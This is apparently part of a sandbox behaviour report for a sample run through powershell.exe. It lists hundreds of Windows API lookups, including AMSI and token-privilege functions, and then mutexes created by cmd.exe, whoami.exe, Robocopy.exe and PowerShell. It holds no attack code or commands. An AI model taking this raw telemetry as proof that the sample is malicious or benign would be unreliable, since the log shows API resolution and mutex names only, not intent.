"GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2A (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath2 (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryAllFeatureConfigurations (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObject (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyNameObjectW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CoGetObjectContext (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnum (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateAssemblyEnumW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter SetEndOfFile (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter deflateInit2_ (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter deflate (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter deflateEnd (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter inflateInit2_ (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter inflate (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter inflateEnd (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter zlibCompileFlags (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00007064) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007064)42:T8ff,Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:860:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:860:304:WilStaging_02" Process whoami.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:188:304:WilStaging_02" Process whoami.exe created mutex with name "SM0:188:304:WilStaging_02" Process Robocopy.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8900:304:WilStaging_02" Process Robocopy.exe created mutex with name "SM0:8900:304:WilStaging_02" Process Robocopy.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:2156:304:WilStaging_02" Process Robocopy.exe created mutex with name "SM0:2156:304:WilStaging_02" Process Robocopy.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4336:304:WilStaging_02" Process Robocopy.exe created mutex with name "SM0:4336:304:WilStaging_02" Process Robocopy.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8476:304:WilStaging_02" Process Robocopy.exe created mutex with name "SM0:8476:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7064:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:7064:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "SM0:7064:120:WilError_03" Process powershell.exe created mutex with name "SM0:7064:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7064:120:WilError_03" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7064:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" 